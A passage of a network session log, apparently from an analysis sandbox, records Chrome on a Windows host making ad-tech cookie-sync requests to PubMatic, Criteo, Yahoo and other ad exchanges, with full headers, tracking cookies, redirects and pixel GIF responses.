2024-01-10 23:27:26 UTC	3486	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; PugT=1704929244
2024-01-10 23:27:26 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	50368	74.119.119.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	682	OUT	GET /user-sync/match?p=&u=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1 Host: ssp-sync.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
2024-01-10 23:27:26 UTC	234	IN	HTTP/1.1 204 No Content date: Wed, 10 Jan 2024 23:27:25 GMT server: Kestrel cache-control: no-store,max-age=0 cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	50371	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	3455	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; PugT=1704929245
2024-01-10 23:27:26 UTC	582	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-968062845637553879; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	50258	195.5.165.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:26 UTC	234	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: erebus-81f1c26c2e7f@version_1.580 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 1ms Date: Wed, 10 Jan 2024 23:27:26 GMT
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	50365	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	892	OUT	GET /sync?dsp_id=317&user_id=f6beb7e1aec6bddd3dcac63f054c7ac0&expires=30&ssp=pubmatic&bsw_param=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
2024-01-10 23:27:26 UTC	614	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=f6435827-796b-4521-81e9-11e581628f69&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	50362	35.214.246.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	878	OUT	GET /?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token} HTTP/1.1 Host: csync.loopme.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6
2024-01-10 23:27:26 UTC	378	IN	HTTP/1.1 307 Temporary Redirect set-cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6; path=/; domain=csync.loopme.me; secure; HttpOnly; Expires=Wed, 10-Apr-2024 23:27:26 GMT; SameSite=None location: https://simage2.pubmatic.com/AdServer/Pug?vcode&piggybackCookie={viewer_token} content-length: 0 date: Wed, 10 Jan 2024 23:27:26 GMT server: _ connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	50369	74.121.140.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	923	OUT	GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=d579659f-27da-4200-92f9-660cb89fa4ac
2024-01-10 23:27:26 UTC	562	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1237 600843f master iad iad-pixel-x10 config_version:"289" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= Expires: Wed, 10 Jan 2024 23:27:25 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	50367	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	1431	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&dpid=57926 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1
2024-01-10 23:27:26 UTC	687	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63;Expires=Sat, 24 Feb 2024 23:27:26 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:26 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:26 GMT Connection: close
2024-01-10 23:27:26 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:26 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.4	50373	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	802	OUT	GET /usersync2/pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D
2024-01-10 23:27:26 UTC	682	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:26 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%221508%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Thu, 09 Jan 2025 23:27:26 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=720413378 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	50374	35.194.66.159	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:26 UTC	873	OUT	GET /pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:26 UTC	723	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6&gdpr=0&gdpr_consent= Expires: Tue, 09 Jan 2024 23:27:26 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-01-10 23:27:26 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	50381	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
